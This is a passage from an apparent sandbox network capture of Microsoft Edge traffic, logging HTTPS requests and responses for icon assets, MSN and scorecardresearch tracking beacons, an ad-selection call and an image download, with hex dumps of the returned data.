2024-11-18 12:29:30 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:30 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: d1f2efc8-801e-0076-6e5a-39ecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122930Z-1866b5c5fbbtpjhjhC1DFWr6tw00000005t00000000041sn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 12:29:30 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49793	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:30 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:30 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:30 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c8ab257f-901e-0026-141d-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122930Z-1866b5c5fbbqmbqjhC1DFWwgvc00000005a0000000007zgx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 12:29:30 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49794	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:30 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:30 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:30 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 7dff206e-301e-006f-017d-39c0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122930Z-1866b5c5fbbxjblthC1DFW6b4800000003qg000000008utw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 12:29:30 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49802	3.170.115.43	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	925	OUT	GET /b?rn=1731932970278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=12002C73CB2660100B753948CA036107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:32 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 18 Nov 2024 12:29:32 GMT Location: /b2?rn=1731932970278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=12002C73CB2660100B753948CA036107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=12B5719cfe084fd78f8d0f11731932972; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=12B5719cfe084fd78f8d0f11731932972; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 9e9898d9a1e959518c38d9919c358a10.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P4 X-Amz-Cf-Id: EWX94w9uwd6whRMLTqLPMoea0NQLF1nJ6zyYSB7jO8nNqcFl29aGJQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49801	20.125.209.212	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	1175	OUT	GET /c.gif?rnd=1731932970277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=6d6da51eb454486787bbdab97894ab08&activityId=6d6da51eb454486787bbdab97894ab08&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1
2024-11-18 12:29:32 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731932970277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=6d6da51eb454486787bbdab97894ab08&activityId=6d6da51eb454486787bbdab97894ab08&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EEB5D52EEE804A698232082BFDC35C3E&RedC=c.msn.com&MXFR=12002C73CB2660100B753948CA036107 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=12002C73CB2660100B753948CA036107; domain=.msn.com; expires=Sat, 13-Dec-2025 12:29:32 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 18 Nov 2024 12:29:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49803	20.96.153.111	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=12002C73CB2660100B753948CA036107&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9b3d30cdac2b4c39df0645a5a1f8c26d HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1
2024-11-18 12:29:32 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close
2024-11-18 12:29:32 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49806	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:32 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCD.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:32 UTC	518	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 13:12:33 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCD X-Source-Length: 91068 X-Datacenter: westus X-ActivityId: 30ee26ca-f621-4263-9007-3fc5c37b7c33 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 91068 Cache-Control: public, max-age=46188 Expires: Tue, 19 Nov 2024 01:19:20 GMT Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close
2024-11-18 12:29:32 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-18 12:29:32 UTC	16384	IN	Data Raw: 34 8e cf 18 eb 96 97 a4 c4 1b 8d c4 e9 05 59 11 a8 42 36 fd 0a 2a a3 45 57 13 fc 1c b9 63 31 3b 4f d4 25 8d d0 14 07 1a 6d 7c 92 9e da cc ca 39 14 63 7e 20 b2 d8 42 c6 bf 58 3f 25 64 36 13 05 28 e4 7c 7f 05 b5 87 54 f0 d0 b4 10 34 28 8b c0 08 e7 3d 20 70 c7 fe a0 a3 e0 96 76 5a ec a3 44 93 95 ca e3 29 44 e1 8c 8c 64 a5 68 c9 c9 57 aa f7 56 03 8e 80 04 4e 59 f8 1e 9f 66 35 b9 3d ae 9f da 9e d6 f2 55 2f a9 47 7d 25 1f bf ac a6 7d 1e 90 bb 48 e4 82 02 5b 58 e3 aa 6d 30 af f7 4f 56 13 38 46 d1 61 30 b6 42 94 ac a0 27 c7 dd 3e a4 f8 62 07 19 09 b4 85 20 2a a8 44 e7 94 a9 d2 b2 95 76 07 45 9e 4a ed 9f d5 4a 95 20 ab 64 4a 12 d4 58 54 2d 43 4a b7 4a ca 51 61 52 85 29 56 a9 52 94 59 d2 a5 2b 28 56 e9 59 08 b2 e2 a8 5a b2 85 6c 85 90 aa ca 95 29 52 95 6e 95 94 a2 Data Ascii: 4YB6EWc1;O%m\|9c~ BX?%d6(\|T4(= pvZD)DdhWVNYf5=U/G}%}H[Xm0OV8Fa0B'>b DvEJJ dJXT-CJJQaR)VRY+(VYZl)Rn
2024-11-18 12:29:32 UTC	1810	IN	Data Raw: 1d 77 91 fb 34 88 df 41 d5 5a c6 c6 61 17 aa 5d b0 8e 3f 1d 69 eb d5 57 ec 4f a6 e3 c3 51 17 27 a1 1b 0d bc d3 dc de e5 ce 2e 0c 9a b7 35 03 13 fc 14 b5 88 eb d4 a1 9f fc 56 86 41 74 92 e7 3a 77 9d 67 73 c8 2b ec ee 46 50 1a c0 e3 50 93 26 dd 4f b4 5d 71 e8 6e 20 e0 f7 92 67 e8 1b 09 e9 e3 af 45 d0 c3 88 33 17 11 73 5e ea 76 04 c3 6d 6b 6c e3 37 90 7a 29 b8 a1 13 31 35 f2 f0 bd 9b 2e 16 b4 3b 20 6e 47 01 0c 04 57 e7 b8 80 0e 8a 86 3f cd 3b ac 75 b6 4b 81 1b b8 44 4e c1 a1 a2 1b c9 23 26 36 f6 79 3f dc 59 96 ae 21 8a a2 48 fe 92 fa 47 fe d0 e5 da ff 00 d3 3b 87 b7 1f 72 cc 98 70 02 c6 b8 97 64 22 99 16 33 7b 9f 96 c1 2a b2 cb 96 53 a6 93 e2 09 ed 3b 06 e6 71 c9 95 b9 8b 6c 18 d8 74 3d e6 f0 1c fd c6 ff 00 a9 5e e5 d8 e3 b5 38 bb 8f f6 63 0c 86 8d f2 5a ff Data Ascii: w4AZa]?iWOQ'.5VAt:wgs+FPP&O]qn gE3s^vmkl7z)15.; nGW?;uKDN#&6y?Y!HG;rpd"3{*S;qlt=^8cZ
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: e2 f2 e2 ed db a1 54 1e dc 3a 34 95 ea b3 33 f9 7e 50 b8 79 31 c9 3c 31 ec 7f 05 b4 4b 1c a2 9c 67 7a 7f d2 7d ff 00 82 0e 1d 00 5d 27 60 8e 83 ff 00 1f c5 28 e3 8f 81 fa 2b 62 aa 23 97 cd 03 bc be 6a f8 c4 df e6 3e 00 fe 09 83 00 e8 ef 62 84 b9 5f 1b 2c 85 d8 ff 00 16 7a 8f 2f d3 74 f6 f6 b3 fb 7e 49 87 9e a4 f4 f9 2c 20 f4 5e a4 76 73 fb 7e 49 bf e0 13 a7 ff 00 10 90 79 00 d7 74 2b 60 f4 5e a4 f6 04 6e 43 7c c2 a8 fe d3 f9 c7 87 4f 92 28 5b 80 a2 e9 bf b7 6b 7a 9f 8f 15 55 cc 03 f6 9f 32 81 6a f5 98 8b 7b 05 0b a7 a7 b2 8e 1c a1 05 d2 a3 e5 22 6b cb 66 35 44 72 38 b4 cb ad d3 98 d9 0b 58 e7 98 68 92 ba b8 7f 2d 19 18 5d 91 ce 00 6a d6 d8 48 ea e1 7f 00 14 67 1f b6 61 78 f2 97 13 19 78 21 c5 df b8 4e f6 9d 7c d7 47 b5 ec df dd 87 3e ec 1b 55 06 27 f9 1b Data Ascii: T:43~Py1<1Kgz}]'`(+b#j>b_,z/t~I, ^vs~Iyt+`^nC\|O([kzU2j{"kf5Dr8Xh-]jHgaxx!N\|G>U'
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: c0 3b 61 91 93 4c 34 7d 52 e0 1b fa 5e 57 6b 0b 32 38 5d a1 c0 eb b7 95 ff 00 4d d6 60 ed c3 77 89 d6 da f3 e6 ba e3 1e 31 c4 e2 45 ac 6f 69 f2 f9 2d 6e 99 b1 8d 2d 36 64 f9 8f 8f 92 b1 01 e7 ea 0c 8b 46 f6 4b 2d c6 5b b9 13 7e 7b f4 69 43 8d ad c7 37 71 e7 bf b9 fb a0 2e 35 e2 c0 7b 98 f9 25 4c 99 81 bc 0b 0f 82 95 91 ee 9b 71 6d 79 3f 00 aa e5 cd ab e9 88 d6 a3 1b ce bf a4 25 41 63 d5 a4 e9 d2 e0 01 b2 4f a8 4c d4 d1 bf 97 b7 54 b7 fa 7b b8 1e 1e 76 b8 e8 0c 9f 65 57 2e 4f 4d a2 96 96 c5 c7 d5 1e cd 05 d7 3e 48 a3 80 f7 0f a5 8e 2d 2d 68 1c b6 f1 fa 7c d7 93 cc fa cb aa da 09 9f db 1e 0b ab df 77 0e 24 45 81 36 04 7d 42 20 dc 9b 5e fb 2f 3d 9d d2 e2 da 37 1f f4 98 b5 b9 ac 67 76 a2 e1 37 25 84 70 c1 98 23 a4 4a ad 93 35 0e 6c d4 2b d4 8b 1e 87 cf 92 b5 Data Ascii: ;aL4}R^Wk28]M`w1Eoi-n-6dFK-[~{iC7q.5{%Lqmy?%AcOLT{veW.OM>H--h\|w$E6}B ^/=7gv7%p#J5l+
2024-11-18 12:29:33 UTC	7952	IN	Data Raw: 07 45 9e d2 04 d2 3a 5b f8 95 ae 15 0a af 0b 8e ee a8 da 86 d4 04 1b 4f 0d a7 42 d3 a8 36 9d 51 1c d8 dc dc 4e 78 71 c6 c0 f0 59 59 6b e5 c6 ee 6c 03 b9 82 05 e5 50 cb 81 8f 6d 4d 8e a0 4f 08 b6 84 de ff 00 d3 a6 89 2c 66 47 3e 5c e9 31 a7 51 66 ed b4 75 5a 91 b8 9c 06 ce 19 1a 20 c5 42 c3 a7 22 af b4 d2 e9 c7 5e 30 64 41 f7 2d e8 7e da ae 7b 70 97 bf 8a 05 f6 26 05 87 3b 13 f7 4c 63 1e 1d fb 03 45 ef 30 67 72 5c 01 3f 70 80 4b 9e 5b 97 ea a6 fb 3a e0 c6 93 32 0f 49 56 4e 4f 53 1b 9a 08 de c2 98 3d 2d 02 26 7a 6e 83 3e 3f 52 5c 03 4b 4c 7f 4d ac 04 48 3b fd d7 3f d2 7b 1c 1c c7 1b 5c b5 d3 6b f5 fb 26 8d 4d 7b 8b a6 6c 45 81 1d 06 c0 da 7c 4a 12 f9 81 3e 31 a9 da 7c f5 b2 b0 d7 16 12 f9 00 99 16 de fb c7 4b 7b a0 7b 62 1c 22 39 5e e7 c7 ae a8 0c 79 6d 5c Data Ascii: E:[OB6QNxqYYklPmMO,fG>\1QfuZ B"^0dA-~{p&;LcE0gr\?pK[:2IVNOS=-&zn>?R\KLMH;?{\k&M{lE\|J>1\|K{{b"9^ym\
2024-11-18 12:29:33 UTC	16288	IN	Data Raw: 8d a2 a3 55 4d dd af 24 69 07 6b 3b a8 9d bc 51 3b b8 0c 9f 51 a5 ee 76 97 b7 8d 37 71 f2 5c be e1 ee 04 70 35 b6 90 c6 ba 4e fb f1 4c 6d a9 09 28 6e 7b ac 61 ae 17 2d 9f f5 98 1b 9a 6e 7d e0 95 cb ca e9 8b 93 24 c8 a5 f4 9b 40 98 20 78 0d ed d1 58 61 73 d8 49 73 99 12 2e e0 5d e0 2f 16 da da 04 8a 62 05 4d 17 80 05 55 38 c8 da 37 33 a0 1e 28 02 f5 1e d6 41 13 3b 81 15 19 f3 90 34 e8 aa 67 ce 03 80 2d 71 dc 10 0c b4 df a1 3e 1b a7 65 0f 6d 61 ce a4 c9 a8 44 38 11 cc 0b f8 0b 2e 60 ed b2 66 cc 1c e7 b5 95 93 04 f3 d7 94 69 03 c1 67 ad af 68 d0 b3 9a 4b 5a 48 6c 6c 27 ad b8 88 36 1f 25 4d fe ab 89 6b 72 10 26 4f f5 34 72 9b 9f 3b 2e 87 f8 ed ed 9c fc 79 20 ee 46 53 7d 8c 55 04 4d cd 8c 89 4d 18 1b 94 4b 22 fa b8 90 7d a0 df db 45 71 11 1d 58 e5 33 2f 39 91 Data Ascii: UM$ik;Q;Qv7q\p5NLm(n{a-n}$@ xXasIs.]/bMU873(A;4g-q>emaD8.`fighKZHll'6%Mkr&O4r;.y FS}UMMK"}EqX3/9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49809	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
